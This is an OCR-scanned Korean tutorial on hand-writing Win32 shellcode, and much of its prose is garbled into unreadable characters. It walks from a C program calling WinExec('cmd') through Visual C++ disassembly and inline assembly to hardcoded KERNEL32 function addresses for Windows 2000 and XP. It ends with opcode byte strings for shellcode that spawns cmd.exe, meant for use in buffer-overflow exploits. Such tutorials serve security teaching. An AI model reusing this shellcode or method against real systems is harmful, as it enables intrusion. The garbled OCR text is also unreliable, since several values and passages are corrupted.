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24 shellcodeE WE7] ars= 4S5 99+ =29
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ZEIOANS HAYPAT = T
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7FA7F A " o 714 = WinExec
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£ o] &3t WinExec® +
A B8 WAE A9 gdolth el HUTEZE Fo| mr &7
21814 SW_SHOWNORMAL #4& 21t}
cmd.exe 2 APs= g FA3 cmdets B FA SR,
exit) 45 TEFSE olf shellcodeE overflowol] AME3sla A& Polx uf ojejE AYAZ &=
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3. shellcode ZA3}7]
ZF 8™ o)A o] LRI Y aste] ofAlEe] ZEE dojuiAk
H & Wo] JdeAE EEAoy dAE exit(l) ZE Yo breakpointE A A3}l Debug ol

A Disassemble W& A8 3lo] ofAlEE Z=E AU}

k&

’ 0 _|o 5‘
EEHB Edit Miew Insert Project Debug Tools Window Help =]
B[S ET|) w2 - @ EE GnfoDigProc
jl[AII global membersjl e main

[Globals)

= RN
2:  void main{){ EENEE R R TR
0481010 push ebp & HE @’@

aa4a1811 mov ebp,esp

00481813 sub esp,44h
00401016 push ebx
00481817 push esi
00401618  push edi =l
00481819 lea edi,[ebp-44h] = 00088021 EBX = 7FFDFO80
a648181C mou ecx,11h ECX = 88888181 EDX = FFFFFFFF
008401621 nov eax,8CCCCCCCCh ESI = B812FF30 EDI = BB12FF80
rep stos duord ptr [edi] EIP = 08481084D ESP = 0B812FF230
EBP = BO812FF88 EFL = 80808246 CS = @81B
char buf[4]; DS = 8823 ES = 8823 SS = 08623 FS = 0038
GS = B@A8 O0U=8 UP=8 EI=1 PL=8 ZR=1 AC=8
buf[a] o'y PE=1 CY¥=8 S3T@ = +0.00000000000000000e+0000
nov byte ptr [ebp-4],63h $T1 = +0.080000000000000000e+0000
buf[1] m'; §T2 = +B.80000ARRAAAANAAAGE+AOAA
nov byte ptr [ebp-3],6Dh $T3 = +0.00000000000000000e+0000
buf[2] "d'; $T4 = +0.00000000000000000e+0000
mov byte ptr [ebp-2],64h $T5 = +B.8000AARAAAAANAAAGE+AOAA
buf[3] wa'; §Té6 = +0.00000000000000000e+00A0
nov byte ptr [ebp-1],8 $T7 = +0.080000000000000006e+0000
GTRL = B827F STAT = 868088 TAGS = FFFF
WinExec{buf, SW_SHOWNORMAL}; EIP = BOOAOBOO CS = 0ABO DS = 0680
nou esi,esp EDD = 00000000
push 1
lea eax,[ebp-4]
push eax
call dword ptr [BKERHEL32 HULL_THUNK_DATA (00424%1f8)]
cnp esi,esp
call _ chkesp (88481888)
exit({1);
[=40040104D push 1
call exit (AB401a48)
4]
ﬂ antext:lmainﬂ j ﬂ !hme _!Value
Name [Value ;
[ buf i @x@812FF7c "cmd"
4[] Auto { Locals 3, this 7 41 Watch1 4 WaichZ % Waichd % Waichd 7
Ready 2|

HE Alztete] exitO¥E SEFske F27H4 25 copyste]l _asm{}tel @At
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+., shallll - M | C++ - [shell.cpp =] =101 x|
JJ@ File Edit Miew Insert Project Build Tools Window Help 5]
@|@Hﬁ|& E|f£'QV”E,E%‘lEﬁIInInDIQPmc j|‘=“‘
[Globals] jl[ﬁll global memhersjl $ main j 2 HJ@ ! ]

a = #tinclude <{windows.h>
void main(){

I

Wurkspace 'shell01': 1 project(s]
E-E2 shellD1 files

= . _asm{
=43 Source Files push ebp
: shell.cpp moy ebp,esp
[Z1 Header Files F/sub esp, 44h
1 Resource Files push ebx
(L1 External Dependencies //push esi
//push edi
f/lea edi,[ebp-44h]
£ imou ecx,11h
£ mou eax, BCCCCCCCCh

/irep stos dword ptr [edi]

moy byte ptr [ebp-4],63h
mov byte ptr [ebp-3],6Dh
mou byte ptr [ebp-2],64h
moy byte ptr [ebp-1].,8
£ imov esi,esp
push 5
lea eax,[ebp-4]
push eax
call duord ptr [BKERHEL32_HULL_THUHK_DATA (884251f8)]
f/fomp esi,esp
ffcall __chkesp (8848b4cd)
push 1
ka1l exit (08481228)
y —
0 C|ass\.riew| File\.r'iewl L« f | ;
X|[Loaded 'C:WWINNTWsystem32Wntdll.d1l', no matching symbolic information found. -
Al paded 'CiWWINNTWsystem32WKERNEL32 .DLL" , no matching symbolic information found. -J
Loaded 'C:WUINNTWsystem32WADUAPI32.DLL', no matching symbolic information found.
Loaded 'C:WUINNTWsystem32@rpcrtd.dll’, no matching symbolic information found.
- _'h- i i RNF tectichell fidWneahunichep11 A1 p¥p’ hac pyited with code O F Ay 0) -
4Ii| i Find in Files 2 i Fesults i SCLDe] <] | »

Ready Ln30, Col1 |REC |COL[OVR|READ

ol ojAEY ZEE Iz AP Aol HA e Aol

call dword ptr [DKERNEL32_NULL_THUNK_DATA (004251f8)]
T
call exit (00401220)

T8 oo o=k olAL dZsty] el E WinExec()7F ¥ address®t ExitProcessO7F Q&
addressE Zrolof st} 18]a 1 addressE #|A|LHO Wi 35S 3 4 )
WinExecO)2} ExitProcessO7} Q& addresse Al2®ritk g2t o7& Windows2000¢1 %]

Windows XPIA| &2 Mul=dlS A P=A AAeHA b= s Au[2d vjdo] FollA|o mt



gt gtk o] 3le] Windows AlZ=®lo A ] shellcode®t #nix AlZ=¥19] shellcode®] 7Hg & Zfo]# €]
th ol E a3 addressE 7] AsiA = 2 7HA S & 5 vk A WA WO RE w32dasm
disassemble X213 o]§3te] KERNEL32.DLL 3}9-& disassembled}®] base address& 2H2 T
& KERNEL32.DLLo|A WinExecO% ExitProcess®] offsets Ztowl #Hvy, T th& W2 Visual
Studio 6.0& AX&td g7 AHAXEH+= Dependency Walkergts T2 138 AMR3}o] base address®}
entry point(offset)E 2= Wolth Aat= F HA WHS AFESHS T

Dependency Walkers A#ate] Aw $-e7F A3dd 4 Z2a3s 2dsto] KERNEL32.DLLE]

base address®} Z 23 59 entry pointE Zto}H A}

: Dependen - [she =10l x|

B File Edit &3] x|
3| 2| & &) BS|m| ]|
=-1 SHELLO1.EXE Ordinal ~ | Hint | Function [ Entry Point -
=-] KERMEL32,DLL & M/A 27 (0x001B) CloseHandle Mot Bound

@ M 81 {0x0051) DebugBreak Mot Bound

@ N/& 125 (0=0070%  ExitProcess Mot Bound —

@ M 170 {0=0044)  FlushFileBuffers Mot Bound

@ N/& 178 (0x00B2)  FreeEnvironmentStringsd Mot Bound

@ M 179 (0«00B3)  FreeEnvironmmentStringsW Mot Bound

& M/A 185 (Ox00B9)  GetACP Mot Bound

@ MNAA 191 {0=00BF)  GetCPiInfo Mot Baund

& MNA 202 (0x00CA)  GetCommandLines Mot Bound

[RTES 247 (Ox00FTy  GetCurrentProcess Mat Bound

& Msa 262 (0x0106)  GetEnvironmentStrings Mat Bound

@ N/A 264 (0x0108) GetElnvironmentStringsW Mot Bound -

4 ' ' | ;I_I

Ordinal ~ [ Hint | Function [ Entry Point |

[@l 765 (0x03007 TV (Ox02FF)  WaitCormmEwent 0=0002F332

[@ 769 (0x0301) 768 (0x0300)  WaitForDebugEvent D= 0000F 428

[@ 770 (0x0302) 769 (0x0301)  WaitForMultipleObjects 0=00024048

| 77 (0e0303  TI0 (00302 WaitForMultipleObjectsEx 0=000240C5

[@ 772 (0x0304) 771 (0x0303)  WaitForSingleObject 0=0000B3CC

| 773 (0x0305) 772 (0x0304)  WaitForSingleObjectEx 0=00029F 73

@ 77 (0x0306;  TV3 (0x0305)  WaitharmedPipea 0=00022781

g 775 (0x0307 774 (0x030B)  WaithamedPipeW 0=00022785

(0 0308) (0x0307)  WideCharTaMultiByte o s
£ § . )

ERECIGE (0=0309)  WriteConsoled i

B 779 (030B) T8 (G130 WieConsolelnputh 0:00038570 -

4| | »
Module Time Stamp Size Attributes Machine Subsystern Debug Basa File Yer Product Yer Image Yer Lin
1 KERMEL32,DLL | DEA18/04  8:06a | 900,368 | A Intel <86 Win32 console [ No 0x77ES0000 | 021956946 5,0.2195,6346 | B0 [ AF
] WTOLLOLL 03/24/04 11:20a | 497,936 | A Intel 86 Win32 console | Mo [Oerrrrseree| 5.0, 2195.6399 | 5.0.2195.6393 | 5.0 B.1:
[ SHELLO1.EXE | DB/26/05  3:29p [ 161,627 | & Intel 86 Win32 console | Yes D=00400000] 0.0,0.0 0,000 0.0 .0
J | ol
For Help. press F1 4

A2z H2EE Fdstal e Al2EE Windows 2000 SP4 #HA ot of 7)o A 3HE

KERNLE32.DLL®] base address®} 7} 359 entry pointe U3} 24 vk

KERNEL32.DLL base address : 0x77e50000
WinExec Entry Point 0x00027492
ExitProcess Entry Point 0x00026972



T MU~z "xe] R ER FFEE Windows XP SP2&7olth. o]7]9] 7} address= theoh th
KERNEL32.DLL base address : 0x7c¢800000
WinExec Entry Point 0x0006114d
ExitProcess Entry Point 0x0001caa2

2 18 7+ 5] e addressi base point + entry pointE & B & 4= i)

WinExec() : 0x77e77492
ExitProcess() : 0x77e76972

a8 oAl o] addressE A &3 AAEE] Z=E A S 2ok
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][Globals] jI[AII global membersjl § main r] A

v et EBESEI.-E/W?}W{?*Mﬂ‘

- push ebp & HE @

a84p1628 push ebp

6: noy ebp,esp

aa4e1629 mov ebp,esp

7:

8: push ebx gi E|

884810828 push ebx EAX FFE76972 EBX = FFFDFOAA

9: noy byte ptr [ebp-4],63h ECX = 80888181 EDX = FFFFFFFF

aa4e182c mov byte ptr [ebp-%].63h ESI = BOoge8ee88 EDI = BO12FF88

18: nov byte ptr [ebp-3],6Dh EIPF = BO4B1B58 ESP = BO12FF28

ae4e1038 moy byte ptr [ebp-3].6Dh EBF = BO12FF38 EFL = BOBOA2Z46 CS = B81B

11: nov byte ptr [ebp-2],64h D3 = 8823 ES = 0823 35 = 0023 F5 = 0838

a8481034 mov byte ptr [ebp-2].,64h GS = 8868 0U=8 UP=8 EI=1 PL=8 ZR=1 AC=8

12: noy byte ptr [ebp-1], 8 PE=1 C¥=8 3TA = +0.900000000000A00AA0.+0ABA

08481838 mov byte ptr [ebp-1].,8 8T1 = +0.00000000000000000e+0000

13: $T2 = +0.000000000000AAAAA+00BA

14: push 5 3T3 = +0.00000000000000000e+ 0000

ag4e183c push 5 Th = +0 O00BOOOAEO000000Ae+000A

15: lea eax,[ebp-4] Go To Source Eaaaaaaaaaaaanaaemaaa

aa491083E lea eax,[ebp-4] o> Show Mext Staternent BOPOBOPOBOA000Ae +BODA

16: push eax 1ABAANAAOAAAA0A0L+A0AA

geugies1  push eax M Insert/Remove Breakpaint STAT = 0088 TAEBS = FFFF

17: nov eax, Bx7F7e77u92 ﬂEnabIe Ereakpoint A8A CS = AAAB DS = AAAA

aa4 81042 mov eax,77E77492h +} Run to Cursar age

18: call eax

aeye1aa7 call Bax 9 Set Mext Staternent

19: ;

TE push . [v Source &nnotation

a84816849 push 1

21: nov eax, Ox77e76972 Docking Yiew

88481848 moy eax,f7EF6972h

22: call eax Close
& 8e4e1858 call pax =
« | _>l'I
ﬂ antextlmainl] j ﬂ :llame :Value

Name Value :

eax 2011654514
A0 Auto / Tocals i this 7 [, Watch1 7 WatchZ % Watch3 3 YWaichd 7
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[Globals) jl[ﬁll global memhersjl $ main T HJ@ A
u: asng EE‘@EL-@H?}E‘{'P*{M—:,A
5: push ebp gt 2 =
ae481828 55 push ebp ”E,i’_ ﬁ’i
G moy ebp,esp
ge401829 8B EC mov ebp,esp
7:
8: push ebx |
a8481828 53 push ebx EAS = F7FET6972 EBX = FFFDFBAA
9: mov byte ptr [ebp-4],63h ECY{ = Bogee1e1 EDKX = FFFFFFFF
8848182C C6 45 FC 63 mow byte ptr [ebp-4],63h ESI = BOBA88AA EDI = BB12FF8A
18: moy byte ptr [ebp-3],6Dh EIP = BO4B1858 ESP = BO12FF28
08481838 C6 45 FD 6D moy byte ptr [ebp-3],6Dh EBP = BO12FF38 EFL = 880808246 C5 = 801B
11: mov byte ptr [ebp-2],64h D3 = 8823 E5 = 6623 55 = 8623 F5 = 0038
88481834 C6 45 FE 64 mow byte ptr [ebp-2],64h GS = @868 0U=8 UP=8 EI=1 PL=8 ZR=1 AC=8
12: moy byte ptr [ebp-1], B PE=1 CY¥=8 378 = +0.P0000000A0A0AB00A0Ae+000A
08481838 C6 45 FF 8@ moy byte ptr [ebp-1],8 S$T1 = +0.0000000000000A0A0L +00A0
13: §T2 = +0.00000000000000000e+ 0000
14: push 5 §T3 = +0.00008A00B0AARA0A0L+A0A0
ae4a183C 6A 65 push 5 I §T4 = +0.0000000000AABAB0A0L+A0A0
15: lea eax,[ebp-4] S$T5 = +0.00000000A0000A0AA0L+00A0
8848183E 8D 45 FC lea eax,[ebp-4] §T6 = +0.00000000000000000e+ 0000
16: push eax §T7 = +0.00008000B0AA0A0A0L+A0A0
ae4p1841 58 push eax CTRL = 827F STAT = BAAO TAGS = FFFF
17: moy eax, Bx77ef7y92 EIP = BO0A8BAR C3 = 00686 DS = 68888
ae481842 B8 92 74 EF 77 mov eax,frTEF7492h EDD = BBB@e8en
18: call eax
88481847 FF DB call eax
19:
2a: push 1
28481849 6a 61 push 1
21: mou eax, Bx77e76972
g848104B B8 72 69 E7 77 moy eax,f7E76972h
22: call eax
& 80461658 FF DD call eax -
4 | s
::(II antext:lmainl] j ::II !’lame :Valul:
Name Value :
eax 281165451,
4] :Iﬁ Auto { Tocals » this 7 A Watchl J WatchZ 3 Watchs % Watchd /
Ready A
olA] wpely] FEwkS WA =1 BT glofHga 4 =2 FAsHE @tk vhEod 4 = of

oo} 2ot

"Wx55"

"Wx8BWxEC"

"Wx53"
"WxCo6Wx45WxFCWx63"
"WxC6Wx45WxFDWx6D"
"WxCO6Wx45WxFEWx64"
"WxCo6Wx45WxFFWx00"
"Wx6AWx05"
"Wx8DWx45WxFC"
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Zojth, g il YA g H-E shellcodes encodingste] 0x007F §1%=5 afal AsiAjel] o] A& ThA|
decodingsle] D& gu|ES 2= shellcode?} U %= 3] F+= Holth encoding WHE AAZ =
Attt g WS AR = k. 7P B8] ARRSte WS ZF vlo] EE xorAlA 0x007F gl
gk wholth, g Ao tA] 2 7o R xorAlA YUY shellcode® HEL

A $A ore] Mg olgdtel IEE £4H BAt F WAl PEe Al 3 Hold BRES 54

cmd °] %o WO0E ¥€7] ¢3 shellcodeo] 0x007} L3t wElbd cmdE ¥ojoF 3= HHE w8 0O
o2 AREA wHEAAFY] Y ebx WALHE xor AlA 0x00000000 = W= o} ‘¢’ ‘m’, ‘d & A
g2 2o W FHol dojor & WoE vE] 597 = Ee] HE Aot}

o] LEZ o]&ate] thA] dofdll nie]Hq e shellcodes= oo} t}.




"WxCOoWx45WxFCWx63"
"WxC6Wx45WxFDWx6D"
"WxCO6Wx45WxFEWx64"
"Wx6AWx05"
"Wx8DWx45WxFC"

"Wx50"
"WxB8Wx92Wx74WxE7TWx77"
"WxFFWxD0"

"Wx6AWx01"
"WxB8Wx72Wx69WxE7TWx77"
"WxFFWxD0"
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7loldell shellcodeE Fol 4S5 H9v WS A9stes st

fradk shellcodes 2Hd3t7] flelX = shellcode7t A3E A|=HoA e <= addressE ¢otdlof
sttt o] 32 Windows Al&8S #4E o 7P 3e FEolth. fF&3 addressE A7) fsiAE
LoadLibraryQst¢} GetProcAddressOE o] &3+ WHS AFEE 5 3l
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[3] A Simple tutorial about Win32 Shellcoding



